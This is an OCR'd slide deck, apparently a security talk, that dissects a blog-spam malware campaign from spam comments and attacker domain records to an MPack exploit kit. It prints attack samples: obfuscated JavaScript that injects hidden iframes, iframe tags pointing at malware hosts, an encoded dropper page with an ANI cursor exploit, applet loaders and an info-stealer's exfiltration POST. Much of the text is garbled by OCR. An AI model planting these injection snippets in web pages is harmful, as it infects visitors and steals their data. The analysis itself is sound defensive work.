Dissecting Web Attacks

Val Smith (valsmith@attackresearch.com)

Colin Ames (amesc@attackresearch.com)
Delchi (delchi@attackresearch.com)




Valsmith

— Affiliations:

o Attack Research
* Metasploit
 cDc

— Work:

« Attack Techniques
Research

* Pen Tester/ Exploit
developer

* Reverse Engineer
* Malware Analyst

- History @
« Founder Offensive Computing
» Speaker
- Blackhat
- Defcon
- Shmoocon




Colin Ames
— Security Researcher, Attack Researc™
— Steganography Research
— Penetration Testing
— Reverse Engineering
— Malware Analysis










Chinese hackers: No site is safe
@NNJ.com /technology

ZHOUSHAN, Onina (CHN)

the warkls most sensive sies, Inchidng the Featagon

‘WeReport. fand
You Deche

Politics

POUITICY oA
POKPOULS

MR AR
CLICTION %0

WAL LU
SEOM Mo

oo
Sy

3 luina
O
ER T

WoUsE o0
PP RN TATN S

STATE S LOCAL
acwvens W

WS MUTAITY
Lt Y
HOT TOPES.

W

gosemment deries

They ogerak from a bare apartmest on 3 Chingse land. They ae intelipornt
205N gE who sor b hiarmiss D) ey a0e hand-cons hackinrs wio CLim 10 firm gRlsed Access

105222, PGy 5y 1y 310 SOMRBMESE Bad Satrty
try e Chinmes gowemment = 3 clyim the Being

STORY HOHLIGHTS

art of

several German ministries

surprisingly similar activitv

Germany's Federal Office
malicious trojan-based a
attacks which some men
say appear to originate {

o e g 4 W | . oy O

POUCS | Mrewss | e | SOIEOH | EaTERLGsAsNT | o

[ Uve Bow | S0acke §] e warkd | Speciel fapen | 64 Seport | ]

The story was first repor
newspaper Spiegel Online
found evidence of "Chine
computers in several gov
office of German chancel
Information Security exp
trojans months ago and
of over 160GB of data, a

FIOAUN DM S8 PRI
Chinese Hackers Penetrate White House Computers

P Pepd A

e o b s s ] e o s by
W T e |y

AR OB S A
3 Wik B Franad Te

100N NS IGNGH GHEL LA LEATI TS MNDE WIE ENLawE 0p Te (s
w0 o Ew e rgetet vk, TH 400t £13 STt i ace e et
Aind =

Yo g Crvnt b oo B rer e
T

W0 T s i T e Tt e i

FOMR T Mt 4300 10 F (0 Miws 201 (W A0S Tl

officials in Berlin originall
irresponsible speculatior
but as the drama unfold:

ok L bormat o b argnd 1 Chans

In recent weeks, the Chinese have been accused not only of hacking the Pentagon, but also

ars technica

technol

BusinessIT ~ Apple  Gaming

Guides Journals GO Mre Solware  Nudc & Nedia  Neoworks  Seourity  Public Secor Basiness Sl
freepiie Secarity  AmiVine  Spos 10 Spawwe
. e . . oy Trah this soges .
Germany, UK also investigating government PC espionage by China
By Ken Fisher | Published: September 09, 2007 - 09:20PM CT hlames China for hack attacks
whispers

apden « Gee more from this author

and key sites in the UK, as well. In doing research for an curty, 120 Seperizer 2007 15,46 CMT

upcoming story on the Pentagon attacks, I stumbled upon recent reports in Germany of

dions have tlamed China foe an upsurge in hacking attachs

Telegraphicouk |

vom 3l bacome the sutiect of tarpaied attacks ongrating
Home m Sport Finance Comment Travezonmingthe g of tars towards China's Pecples
wetraia ond New Zediond joined the growing #5t this week

sed ary irsctiement in e atacks, Wit oficiaks pairting the
i ma revchonrs

UK World Politics Celebrities Obituaries Weird Earth

You are here: Home > News > UK News

Chinese hackers 'raid Whitehall

By Richard Spencer and Ben Quinn
Last Updated: 1:09AM BST 06 Sep 2007

Hackers with links to China's military were last night accused of waging a
long-term campaign to penetrate the computer networks of British governir
departments

China denies hacking into Pentagon computers
British concern over Taliban's Chinese arms

A day after China denied that it was the hidden hand behind hackers who
breached Pentagon security networks in the US, "cyberwarriors" acting at t
hehest of the People's Liberation Army (PLA) were blamed for breaking int
networks at the Foreign Office and other departments.
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Introduction

» Attackers are using the web in various ways
to:

— Push users to their malicious sites
— (Gain access to computers
— Steal information

* They use many technologies
— Java/Javascript HTML
— Iframes Encoding/Obfuscation
— Spam Injection




Introduction

* For this talk we analyzed different types of
attacks
— Blog Spam
— Web site injection

* We dissect the attacks piece by piece to
analyze and show
— Source code Commands

— Network traffic Attack Goals
— Binaries Attackers







Blog Spam

* Analysis process
— View victim blog, locate malicious comments

— Trace back all A HREFs in comments
— WGET code from attacker site

* Follow any links
 Decode obfuscated instructions

« Debug javascript
— Firebug, Venkman

« Decompile Java Applets
— Lookup owners of domains / IPs &
— Reverse any exploits / binaries




Blog Spam ]

« 1st Stage of the attack

— Uses comments to sites o]

— Blogs such as Drupal & Wordpress gm
« Comments:

— Usually in response to valid post

— Splice together random but legitimate phrases
from sources such as wikipedia

— Contain several linked words to various sites
— Will be added en mass to many disparate posts

— Often will have non-English embedded words
such as Italian, German, Russian




éCuanto tiene que mejorar aun el SL?

éQue mejores practicas puden identificarse dentro del SL?

éQue implicaciones tiene el SL para los usuarios y desarrolladores?

Son algunas de las preguntas a las que se esta intentando dar respuesta
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and the beginning of the Cenozoic Era. inquinamento da traffico, donna nuda
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plesiosaurs, pterosaurs and many species of plants and invertebra became inct. capra
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ministero pubblica istruzione it. By the 13th century, they governed most of present-day




The regular tuition is € 1350. The tuition for students who wish to receive course creditis € 1550.
Students may reserve accommodation through the Unverisiteit van Amsterdam for a cost of € 350.
Student housing is available from June 14th -June 29th.

maore information under:

Attachment Size
178.65 KB
» or to post comments |
Cretaceous

Submitted by drff.

3 - 1411,

7adaed8h
The Cr :

time md found in various parts of the world, Ifn as the KT hDUHddl)’
. The event marks the end ofthe Mesozoic Era, and the beginning of the Cenozoic Ef:i

. Non-avian dinosaur fossils are only found below the

KT houndary and becdmv extinct immediately before or during th ent
aurs, plesiosaurs, pterosaurs and many species of plan
.Mammalian and bird clades pass

and ll'\ﬂPf’TBhX’QT 35
also hecame extinct. ed

Hnnuxm th tmurl ary with Tv\fs [ THMIHHH

"’Hhv boundary.
d by one or more u*%tagtrophn

olcanic activi _rm the Deccan traps ha'v.x'e

from slower changes in sea level or climate

» or to post comments

Hoysala Empire

Submitted by me

|~1 Empire was a mumnwm South Indian empire that ruled most of the modern-day state
hetween the 10th and the 14th centuries.
. The capital of the Ho s was initially located at Belur but\
. The Hoysala ruler re originally hill peoples of

Malnad l\amatakq an elevated region in the YWestern C‘hatc range 1
.Inthe 12th century, taking advantage of ic,
. the warfare between the then ruling ¥ rh Chaluk
.they annexed areas of present-day Karr

north of the KFwPrl River delta in present-day Tamil Nadu.
.Bythe 13thc
Nadu and parts of western Andhra Pradesh in Deccan India. T

of K-:u a

¥

.and

later moved to Halebidu.

and Kalachuri kingdoms,
ataka and the fertile areas

ntury, they governed most of present-day Karnataka, ;Hm of Tamil

Shows some
comments added to a
legitimate post.

Notice the hyperlinked
ltalian words.

Comments often start
with an md5sum hash.




J. 3 link:www.daolao.ru - Google Search &3 I 3 link:www,daolao.ru -inurl:daclao.ru - G...

mMy3er Pepuxoe | Teocodickoe 0bwecTeo | hoHa PEPMXOB - [ Translate this page ]
myzeil Pepuxoe | Teocoduyeckoe obuwecteo | dpong Pepuxoe | Meorpadua.py | Nao-uzel |
TNomoHocoe.

lomonosoy.orgfcooperation.html - 13k - Cached - Similar pages - Mote this

My Language : PyCCkuii - [ Translate this page ]
Wen: Jaocckui uentp e Mockee. OByyeHWe BOCTOMHBIM NPAKTUKAM, CEMWUHAPE!, MUSUH, UMIYH,
feH-WYA, kUTalCcKaa acTponoruAa, Hora. Bubnuoteka, pacceinka ¢daocckue ...

wanw. mylanguage. gov. aufru/1381273 - 9k - Cached - Similar pages - Note this

The pattern of the lifetime's canvas - [lepeBoguM pelUenTbl BMECTE - [ Translate this page ]
31 Ok, 2008 at 4:49 AM. Kutaiickoe munganeHoe neveHse (Chinese Almond Cookies) 31o
NPOCTOE M BKYCHOE MUHAANEHOE NEeMeHBE OTAMMHO NOAABaTh KOTAa YrogHo. ...

270

narakeshvara.livejournal.com/113780.html - 25k - Cached - Similar pages - Mote this

CChINKK NONE3HbIE U MHTEPECHLIE - [ Translate this page ]

Bce o Qpakonax: neredgbl, Mctopuu, daktel, vccnegoeanua. [anepeu, bubnuoteka. Bonee
600 MB uHdopmauuu.

dragonest.by.ru/main/links. html - 28k - Cached - Similar pages - Note this

Awpam.Py o Apxue - [ Translate this page ]

2006, 15 okrabpa 2006 r. (eockpeceHbe) B yeHTpe «OTKpeITEId Mups (Mockea) cocToutcA
putyan Byaael MeauuuHel B MCNONHEHUW MOHaX0B THDETCKOrD MOHACTEIPA. ...
ashram.rufarchivesfarchives. htm - 22k - Cached - Similar pages - MNote this

godsdiensten - [ Translate this page ]

yinyanggoud-anim1.gif (12719 bytes) radvandeleer-anim. gif (13058 bytes) stervandavid-anim. gif
(10810 bytes) kruisgoud-anim.gif (10026 bytes) moskee-anim .gif ...

wenewy [awe. kuleuven. be/chineesrecht/webterras/godsdient htm - 134k -

Cached - Similar pages - Note this




Blog Spam

* Following embeded links in comment shows:

=J albergo hotel avellino - Mozilla Firelox =101X]|

File  Edit  Yiew Bookmarks  Tools  Help

<\/': - - @ 5_7 | httpeffumaws, daolao, rojConfucdusiPound/it/albergo_hotel_avelinofalberga_hotel_avelino,htm ~| B IQ' Google

’ Getting Started ) Latest Headlines

albergo hotel avellino

Avere poco sale nella zucca

Subscribe RSS
albergo hotel avellino

J
957 readers

Hotel avelino elenco hotel avellino prenotazione hotel FTEEREURNER

Il portale del turismo in campania. hotel avellino elenco hotel avellino prenotazione hotel

avellino vacanze avellino, Avellino hotel avellino alberghi avellino prenotazione hotel Other themes

Per visualizzare solo gli hotel a avellino che hanno camere disponibili e prenotabili seleziona le

date di arrivo e partenza dal box di ricerca sulla Pasqua hotel avelling, italia alberghi avelling, ]

last minute (33

Hotel avellino confronta i prezzi e prenota on line il tuo albergo a avellino. Campania tour hotel [12]

alberghi avelling [14)

Guida agli alberghi di avellino e provincia, informazioni utili per contattarli e 13"

raggiungerli Alberghi ad avellino hotel ad avellino dormire ad avellino hotel

Hotel alberghi avellino provincia in questa pagina puni trovare alberghi, hotel e strutture L.

ricettive di varie tipologie e categorie presenti nella Hotel de la vile Archivio

Hotel de la ville via palatucei 20, 83100 avelling, italy tel +39 0825 780911 fax +39 0825 780921 [E8)] o

email info@hdy.av.it.Avelino hotel, avellino alberghi, avellino hotels, elenco hotel

Hotel avelling, alberghi avelling, hotels avellino, previsioni meteo avellino, last minute hotel,
saperviaggiare. it elenco haotel ed alberghi in avelling. Hotel provincia avelling £ alberghi
provincia avellina

Elenco ed informazioni su tutti gli hotel in pravincia di avellino. degli hotel trovi 1 servizi, |
prezzi, il sito, le promozioni ecc.Alberghi avellino alberghi gli alberghi di avelling tutti glf
Cerca gli alberghi di avellino, su ept trovi tutti gli alberghi della provincia di avellino il solofra
palace hotel resort una raffinata oasi verde. hotel avelline | alberghi avellino

Alberghi hotel avellino in questa pagina troverete la lista completa di tutti gli alberghi, hotel,
motel, agriturismo, affittacamere, bed breakfazt nella Hotel avellino hotel civita hotel civita
atripalda [ avellino

Hotel avellino hotel civita hotel civita atripalda [ avellino | hotel campania albergo avellino hotel

Dane
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Blog Spam

+ Site made to look like normal blog
* Links don't actually work
« Page actually for deploying malware




Blog Spam

Attack often comes from same domain with slightly

different name:

— gff09296@averfame.org
— drff09296 @averfame.org
— drff52122@averfame.org
— mers2122@averfame.org

Attack domain averfame.org info:

Sponsoring Registrar: EstDomains, Inc. (R1345-LROR)
Registrant Name: Harold Lani
Registrant Organization: China Construction Bank

Registrant Street1: Mansion, No.31 Guangji Street, Ningbo,
315000, CN

Registrant Email: harold@avereanoia.org

IP Address: 78.108.181.22

descr: UPL Telecom

changed: serge@upl.cz 20071227
address: UPL TELECOM s.r.o
address: Vinohradska 184/2396




. o Spam i

 China Construction Bank known in the
past for malware

— State owned bank M AR IS RYT
 |n 2004 several executives were _L

executed by the state for engaging in

financial fraud

* In March 2006 it was reported to be
hosting phishing sites targeting US banks




Blog Spam

* While the e-mail address given to post the malicious
comments was owned by China Construction Bank,

— The HTTP connection to make the posts came from
212.227.118.40 based on various web logs

212.227.118.40

Domain: kundenserver.de
Address: Erbprinzenstr. 4 - 12
City: Karlsruhe

role: Schlund NCC

address: Brauerstrasse 48
address: Germany

infong113.kundenserver.de.
Name: Achim Weiss

Pcode: 76133

Country: DE

address: 1&1 Internet AG
address: D-76135 Karlsruhe
e-mail: noc@oneandone.net
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Herrzlich Willkommen! | Peter Schnitzhofer

Cannata Peron, Melissa P Foto. By the 13th century, they governed most of ... Israeli
withdrawal in June 1974, bevitrici di sborra, donna amatoriali nude. ...
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foto amatoriali di casalinghe porche donne schizzate di merda mature che scopano animali
meravigliosi streap video gratis niaas mamando obbese troie sborra ...

wwew, chronixradio. com/modules. php?name=News&file=article&thold=-1&mode=flat&order=0&
sid=434 - 977k - Cached - Similar pages - Note this

Forum :: Leqggi il Topic - galleria foto sesso gratis
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www. progettofamiglia. comforumAviewtopic. php?p=205235 - 47k -

Cached - Similar pages - Note this
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foto Informazioni debora italiane supertette tedesco foto Vera ...
vsartsarg. org/modules/news/article. php?storyid=29 - 272k - Cached - Similar pages - MNote this

Issue Topic to discuss about | vaaGmi

... a method that is still used today. donna nude amatoriali, frasi d 'amore. ... and religious
narratives. debora caprioglio nuda, Yespa 125 Primavera
wwww.vaagmi.com/?g=node/15 - 50k - Cached - Similar pages - MNote this

Most of
these sites
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blog spam in
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Bog Spam

The URL's linked to by the first comment listed in order are :

mir-t.ru/files/rolling_stones_testi/rolling _stones_testi.htm
mebelionika.ru/download/site/libreria_blocchi_autocad/page _libreria_blocchi_autocad.htm

mebelionika.ru/download/scarica_gratis_msn_live_spaces/listing/page_scarica_gratis msn_live_spaces
.html

dich.com.ua/forum/video_porno_scaricare_gratis/video_porno_scaricare_gratis.htm
mir-t.ru/files/cavalli_da_salto.html

dich.com.ua/forum/croccantino_gelato.html

mir-t.ru/files/apt_lombardia.htm
mebelionika.ru/download/index_sherk_cartone_animato.htm
dich.com.ua/forum/video_porno_com/page_video_porno_com.htm
mebelionika.ru/download/foto_zero_assoluto/foto_zero_assoluto.htm
mir-t.ru/files/rolling_stones_testi/rolling _stones_testi.htm
dich.com.ua/forum/video_hard_casalinga_gratis/video_hard casalinga_gratis.htm
mir-t.ru/files/video casalinghe_gratis/video_casalinghe_gratis.htm
mebelionika.ru/download/villaggio_vacanza_corsica/comp/page_villaggio_vacanza_corsica.htm
dich.com.ua/forum/esercizio_svolti_elettrotecnica/esercizio_svolti_elettrotecnica.htm
mebelionika.ru/download/falze trevignano/falze trevignano.htm
mir-t.ru/files/video_porno_con_ragazzine/page_video_porno_con_ragazzine.html
dich.com.ua/forum/video_porno_com/page_video_porno_com.htm
mir-t.ru/files/foto_privata_donna_incinta_nuda/style/foto_privata_donna_incinta_nuda.html|
mebelionika.ru/download/video_clitoride/index/index_video_clitoride.html




Bog Spam

The second attack contained a different set of URLs with similar
content

www.daolao.ru/Confucius/Pound/it/world/negozi_abbigliamento_ravenna/negozi_abbigliamento_ravenna
.htm

www.economypmr.org/giic/video_lesbica_asiatica_gratis/world/video_lesbica_asiatica_gratis.htm
www.economypmr.org/giic/assicurazione_su_imbarcazioni/to/assicurazione_su_imbarcazioni.html

www.daolao.ru/Confucius/Pound/it/hotel_provincia_di_rovigo/verso/page_hotel provincia_di_rovigo.ht
ml

www.economy-pmr.org/giic/antivirus_scansione_online.html
www.daolao.ru/Confucius/Pound/ittmontaggio_gru_edilizia.htm
www.economy-pmr.org/giic/world/magnolia_negrita/index_magnolia_negrita.html
www.daolao.ru/Confucius/Pound/it/edilizia_pubblica/index_edilizia_pubblica.html
www.economy-pmr.org/giic/antivirus_scansione_online.html
www.daolao.ru/Confucius/Pound/it/ater_provincia_roma/page_ater_provincia_roma.html

www.economypmr.org/giic/incontro_privati_annuncio_personali/top/incontro_privati_annuncio_persona
li.htm

www.daolao.ru/Confucius/Pound/it/albergo_hotel_avellino/albergo_hotel_avellino.htm
www.economypmr.org/giic/city/cucina_cinese_ricetta/index_cucina_cinese_ricetta.html
www.daolao.ru/Confucius/Pound/it/test_colesterolo.html
www.economypmr.org/giic/news/annuncio_hard_sicilia/annuncio_hard_sicilia.htm

www.daolao.ru/Confucius/Pound/it/istruzioni_ricarica_cartuccia_epson/nix/page_istruzioni_ricarica_cart
uccia_epson.html

www.economy-pmr.org/qgiic/agriturismo_guidonial/italia/agriturismo_guidonia.html

www.daolao.ru/Confucius/Pound/it/lol/video_sesso_scaricare_gratis/index_video_sesso_scaricare_grati
s.htm




There are only
five different
domains actually
in use.

Blog

Spam

MIR -T.RU

DICH.COM.UA

DOMAIN OWNER INFO
ipaddr :89.108.95.149
person : Aleksandr A Artemyev

e-mail : sahasaha@bk.ru
registrar : RUCENTER -REG-RIPN

NETWORK OWNER INFO

netname : AGAVACOMPANY

address : AGAVA JSC

address : B. Novodmitrovskaya str., 36/4, 127015
Moscow, Russia

phone :+7 495 4081790

DOMAIN OWNER INFO
ipaddr :217.20.175.128
person : Oleg Teteryatnik
e-mail : mazai@tnmk.com

NETWOR K OWNER INFO

address : WNet ISP

address : Pochayninska str. 25/49, off. 30, 03148, Ukraine,
Kiev

phone : +38 067 786 96 12

changed : gusak@wnetua 20060731

MEBELIONIKA.RU

DAOLAO.RU

DOMAIN OWNER INFO
ipaddr :217.16.16.145

org: "Impuls -Plus" Ltd.
e-mail :info@mebelionika.ru
e-mail :mebelionika@gmail.com

NETWORK OWNER INFO

changed : caspy@masterhostru 20030507
registrar : RUCEN TER -REG-RIPN

address : Lyalin lane 3, bld 3, 105062 Moscow, Russia
phone :+7 495 7729720

DOMAIN OWNER INFO
ipaddr :217.16.16.153
phone :  +7 095 0000000
e-mail : yukan@tsinetru

NETWORK OWNER INFO

changed :caspy(@masterhostru 20030507
address : Lyalin lane 3, bld 3,105062 Moscow, Russia
phone : +7 495 7729720

ECONOMY -PMR.ORG

DOMAIN OWNER INFO

ipaddr: 91.196.0.85

Registrant :Name:Makruha Igor N.

Registrant : Organization:Eco nomy

Registrant : Streetl :Tiraspol, Sverdlova, MD (Moldova)
Registrant : Phone:+373.93224

Registrant :Email:pom@economy.idknet.com

Admin Name : Makruha Igor N.

NETWORK OWNER INFO
descr :HostBizUa Data Center
notify : msil@hostbizua.com
address : Polarnast15, 3 fw.
address : Ukraine, 04201 Kyiv
phone : +380(44) 5017659
e-mail : support@hostbizua.com
person :Valentin Dobrovolsky
address : Ukraine, Kyiv




Blog Spam

* www.economy-pmr.org belongs to the
government

— Economic website
— Sites been compromised by the attackers

— Serving up spam / malware unbeknownst to
owners

* Adds even another level of complexity

— Yet another country and now government
involvement




Blog Spam

* Already we can see attack's complexity
— 3 countries

— Domain owned by China, hosted in Czech
Republic, attacker posting from Germany

» Serious international and language
barriers in the way of removing attack

« Easy to change one or all pieces of attack
to make blocking hard




Blog Spam

* So what’s the purpose of this type of
attack?

— Advertising $ on clicks
— Adware/Spyware installation $
— Information Stealing
— Botnet building

— Acquiring Mpack nodes







« Besides fake blog HTML there is also obfuscated
Javascript

First there is a call to a URL decoder
» return decodeURIComponent(cook[1]);

Next section sets two variables

Following the variables is a section of numbers
 Actually decimal encoded URLS

Example:
« On the ASCII table 104 = h, 116 =t, 112 = p forming http

Helps hide the URLS from people searching through the code as
well as from IDS’s and automated scanners looking for javascript
URL redirection type traffic

The browser will decode and use these obfuscated URLs with no
problem but over the wire it will just look like decimal numbers




Blg Spam Attack ode

var p = (String.fromCharCode.apply(window, [104, 116, 116, 112, 58, 47, 47, 109,

121, 98, 101, 115, 116, 99, 111,
114, 111, 103, 115, 116, 97, 116
112, 63, 85, 110, 105, 113, 67, 1

, 110, 116, 101, 114, 46, 110, 101, 116, 47, 112,
5, 47, 105, 110, 100, 101, 120, 46, 112, 104,
1

p
1
11, 111, 107, 61]) +

17
11
1,

Counter + "&referer=" + encodeURIComponent(document.referrer) +

String.fromCharCode.apply(window, [38, 100, 114, 119, 61, 104, 116, 116, 112, 37,
51, 65, 37, 50, 70, 37, 50, 70,119, 119, 119, 46, 100, 97, 111, 108, 97, 111, 46, 114,
117, 37, 50, 70, 67, 111, 110, 102, 117, 99, 105, 117, 115, 37, 50, 70, 80, 111, 117,
110, 100, 37, 50, 70, 105, 116 6])

Each of these variables decode to the following URLs:

— http://mybestcounter.net/progstats/index.php?UnigCook=

— &drw=http%3A%2F%2Fwww.daolao.ru%2FConfucius%2FPound%?2
Fit&drw=http://www.daolao.ru/Confucius/Pound/it
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 Next section contains further obfuscation

— Sets up an iframe in order to cause the browser to
load the previously discussed encoded URLs

— The iframe will be a 1 pixel by 1 pixel essentially
invisible frame which the user will never see but which
will get loaded

— The words iframe, src, marginwidth, marginheight,
frameborder were broken up into multiple variables,
lines, and concatenated strings

— This makes it even more difficult to detect
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g Sam Attack Code

). NOTE how they break up the
’ . . word IFRAME to make it
var X = rame-, harder to detect

vary ="i" + "f";

var el = document.createElement(y + x);
el.setAttribute("width", 1);
el.setAttribute("height”, 1);
el.setAttribute("s" + "rc", p);
el.setAttribute("marg" + "inwidth", 0);
el.setAttribute("marg" + "inheight", 0);
el.setAttribute("scr" + "olling", "no");
el.setAttribute("f" + "rameborder”, "0");




o Attack chains several HT TP redirects

<iframe WIDTH=1 HEIGHT=1 src="http://x-globstat.cc/adsview/a63?tip=user"></iframe>

<iframe src="http://bid-assist.org/inst/index.php?id=002" width=1 height=1></iframe>

<iframe src="http://www.climbingthewall.info/d/wmQ017/counter21.php" width=1
height=1></iframe>

<iframe src=http://prolnx.info/lc1008.html width=2 height=2 style=display:none></iframe>

http://prolnx.info/lc1008.html




©) ramper Data - Ongoing requests

Start Tampsr  Stop Tamper  Claar

..... 37417 30 shion/x-unknown-, . X video _sess0_scarikare_gratefindex_wideo s scarcare_gratic hem ]
17:17:47.609 781ms 781 ms 788 GEY 200  text/html owsinglupdate *diertmnavchent-auto-ffox2.0.0. 33mozver=1.8.1,3-200703091 3&version,., LOAD_NOR
17:18:20.827 S%4ms  S%4ms -1 GET 302 texthtml tp:/imybestcounter.natiprogstats/index. php7tniqCock= 18y ef erar=adrw=htp oL 3A% 2F % 2Fwww, d8080.ru%2FC... LOAD_DOCLME...
17:18:20.827 74453 ms 74453 ms 1 GET 304 apphcation/x-unknown-... http://wwew. dackso. rufConfuciusiPound/itifesd-ico.png LOAD_ONLY_IF,..
17:19:35.265 219ms  219ms %6 GET 200 text/miml tp:/jupdateoniine cc/progframe. phpidopl =1 LOAD_DOCLIMVE...
17:21:04.327 48578 ms 48578 ms 1 GET 200 text/html hetp:flx-ghobstat.ccfadsview/ab3 tp=user LOAD_DOCUME.,..
17:21:20.359 32562ms 32562ms 397 GET 404  text/miml hetp: [ fbid-assist orgfinet findex. php7id=002 LOAD_DOCLIME...
17:21:38.687 14265ms 14265ms 181  GET 200  textfhtml hetp: /vy, chmbingthewall infofdfwm017/counter21  pho LOAD_DOCLME...
17:21:52.690 328ms 328 ms 4985 GET 200 text/html htp:{fpeolnx.infoflc 1008, html LOAD_DOCUME...

Request Headsr Name | Requast Header Valus | || Responsa Header Name | Response Headsr valus

Host v, daolao.ru Status Not Modfied - 304

Usar-Agant Mozilla/S.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko /20070309 ... Data Sat, 15 Mar 2003 01:16:38 GMT
Accept textfxml, application e, applicationxhimi+xml textfhml; g=0.9,taxt fplain; g=0.... Connaction keep-alive

Accept-Language en-us, en;q=0.5 Keap-Alve timeot=5

Accept-Encodng qzip, deflate Server Apache

Accept-Charset 150-8859-1,uf-8;4=0.7,%,4=0.7 Etag "1a2569-4345-47d%a333"
Keep-Alive 300 Expires S&t, 1S Mar 2003 01:16:33 GMT
Cornection kaep-dive Cache-Control max-age=0

Cockie Courter=1

If-Modifiad-Since Thu, 13 Mar 2008 21:57:07 GMT

If-None-Match *1a2569-4343-47d92a333"




Malware

* End goal is to deploy malware
— Pornocrawler.exe

 Turns out to be LdPinch which HTTP POSTs :

POST /winupdate/newgate/gate.php
HTTP/1.0 Host: www.updateonline.cc
Content-Length: 14390

DATA:

a=roots982@mail.ru333&b=Pinch report&d=report.bin&c=UDNNTAAAAAARIAAAEQAAA
AAAAA.. snip AAAAAA==

Info about victim including:

- installed software, hosthname, domain
name, internal |IP address
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g Sam JS Deding

» Updateonline.cc has IFRAME which sends
browser to prolnx.info/lc1008.html

» Code highly obfuscated
« Spiders off in many directions
* Eventually deploys a rootkit




Lc1008.html Source

<html><head><title>404 Not Found</title>

<style>

* {CURSOR: url("anr/us1008.anr")}

</style>

</head>

<body><h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

<hr>

<address>Apache/2.2.4 (EL4) Server at www.prolnx.info Port 80</address>
<script language="JavaScript">

function QfPViCa(ii){var ks="ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopqgrstuvwxyz0123456789+/=";var
oo=""var c1,c2,c3;var e1,e2,e3,e4;var
i=0;do{e1=ks.indexOf(ii.charAt(i++));e2=ks.indexOf(ii.charAt(i++));e3=ks.indexOf(ii.charAt(i++));e4=ks.indexOf(ii.c
harAt(i++));c1=(e1<<2)|(e2>>4);c2=((e2&15)<<4)|(e3>>2);c3=((e3&3)<<6)|e4;00=00+String.fromCharCode(c1);if(
e3!;64){oo=oo+String.fromCharCode(cZ);}if(e4!=64){oo=oo+String.fromCharCode(c3);}}whiIe(i<ii.Iength);return
00;

function gpYrz(a1 ,b12{var i; var o=""if (Ib1) return
document.write(qpYrz(QfPViCa(a1),arguments.callee.toString().replace(/[*a-zA-Z0-9]/g,"")));for (i=0; i<a1.length;
i++){o+=String.fromCharCode(a1.charCodeAt(i%a1.length)*b1.charCodeAt(i%b1.length));}return o;}

apYrz('WhQeExgMG04SHz0XRwBfC1wXD1wKGgABHEKIA1wXWBKUHAcJDg1VBQAHEX8GVEVFBhk9BhJsV3AbKB
oylmMoljNLUUoPBAMPBBhSb1kQBiVUGw1TMysCFQ5fX0oFEzdgUUBRObGURJDVACAhsGEw1UTRkVBAg9B
BQbHxIhSAUXJQoWW2tHAhpBMRdSQwo1HAwWTFIdvBwFcDA1SFgQUEHDAdBBQktXUkZOwgKDRIZDRwWRWhQe
AJRWKEAQABADC18PobF1gNQ1ZcUk4DEx5HSOUGVBQEARKGTQcDChADESOVBwWFLXUJKejAUUjUJMyMEJ

...Snip ...

zV2DyoGFEMEUggbCEdHT3keaxFmWUoHDCEdAh1QbQ==', null);

</script>




- Lc1008 focused on delivering multiple payloads

— Payload providing long term control and covert
access of exploited targets
* |nstalls the agony rootkit
« Sets up a covert channel on the target

— Payload providing modular control and access to
target

— Provides dynamic extension of payloads through
covert or obfuscated channels
— Very concerning due to its modular nature

« Can be easily morphed to any purpose
 Remains the same on the target




* The us1008.anr exploit is run from the following
piece of Ic1008.html:

— <style>
— *{CURSOR: url("anr/us1008.anr")}
— </style>
* The file anr/us1008.anr is itself a paylod of type
2 (Win32.Exploit. MS05-002.Anr)

o www.prolnx.info/anr/us1008.anr _has the file
header RIFF....ACONanih and contains the
string c:\anr1008.exe as well as urimon.dll




Blog Spam — JS Deding

* Function gpYrz() deobfucates the remainder of
the webpage and then issues
— “GET /?id=1008&t=0other&o=0 HTTP/1.1"

— Attempts to run downloaded file from the users Temp
Internet Files dir

— If user is administrator this installs the agony rootkit




Blog Spam — JS Decoding

« Deobfucated webpage continues animan.class
— Allows the malicious webpage to extend the class Applet
— Updates the current webpage to this:

<applet archive=JavaZ2SE.jar code=Java2SE.class
width=1 height=1 MAYSCRIPT>

<param name=usid value=1008>

<param name=uu value=http://prolnx.info/>
<param name=tt wvalue=other>

</applet>

<applet archive=dsbr.jar code=MagicApplet.class
width=1 height=1 name=dsbr MAYSCRIPT>

<param name=ModulePath
value=http://prolnx.info/?id=1008&t=other&o=2>

</applet>




Rirst Applet loads
— Java2SE.jar
— /com/ms/lang/RegKeyException.class

Second Applet loads

— dsbr.jar

— Icom/ms/security/securityClassLoader.class
All Java Classes

— Downloaded from prolnx.info

— Intercepted and decompiled using jad

— De-obfuscated by hand

Both applets utilize several variables

— Gathered from their applet param’s

— Possibly identify the target




* Variables commonly used in web requests to
http://prolnx.info/

— From Java2SE.class member of Java2SE.jar
e Where s = getParameter ("usid") ;

e s5 = getParameter ("uu'"), s6 =
getParameter ("tt") ;

* usid=1008 uu=http://prolnx.info/ tt=other
e OPlog(s5 + "?id=" + s + "&t=" + s6 + "&o=4");
« http://prolnx.info/?id=1008&t=0other&o=4




* From Installer.class member of dsbr.jar

— Where
s=applet.getParameter ("ModulePath") ;

— ModulePath=http://prolnx.info/?id=1008%&
t=otheré&o=2

— URLDownloadToFile (0, s, s2, 0, 0);
— http://prolnx.info/?2id=1008&t=other&o=2




* Any webrequests of this format including the first
download “cer /2id=1008st=otherso=0 HTTP/1.1"
receives a UPX packed binary

— md5sum: adc6d03bc7ac04e2ddf9dea’ecee994f

— Delivers a payload of type 1 and installs the agony
root kit

— However delivering the same payload each Applet
executes the method uniquely

— Presumably this is for persistence and a greater
degree of overall success in infection.




MPACK

* All roads lead to MPACK
« We found a test directory

) Mozilla Firefox =10| x|

File Edit View Go Bookmarks Tools Help

<;:l v . v [@ \/h I www,updateonline. ccjwinupdate/mpackdjadmin.php LI @ Go “CL

Unauthonsed access prohbited. All activity 15 bemng monitored.




MPACK

I Mozilla Firefox ;IQI ﬁl

File Edit View History Bookmarks Tools Help

@ = v (}] l_/l\} ﬁi http:/fwww.updateonline. ccjwinupdate/mpackd/stats.php | ¥ [ ' google translate Aty

’ Getting Started |, Latest Headlines

|| MHHHUCTEPCTBO 3KOHOMUKK MPHAHEC. .. || DAO H(%)ME PAGE :: MopTan aaoc... Gi.i http://www.upd...ack9/stats.php L]  ~

RAM m ol 2:f) OF 3 —3
MPack v0.86 stat

Attacked hosts: (total /uniq)

uniq referers




¥Mozilla Firefox =]

File Edit iew Go  Bookmarks  Tools  Help

) ~ -
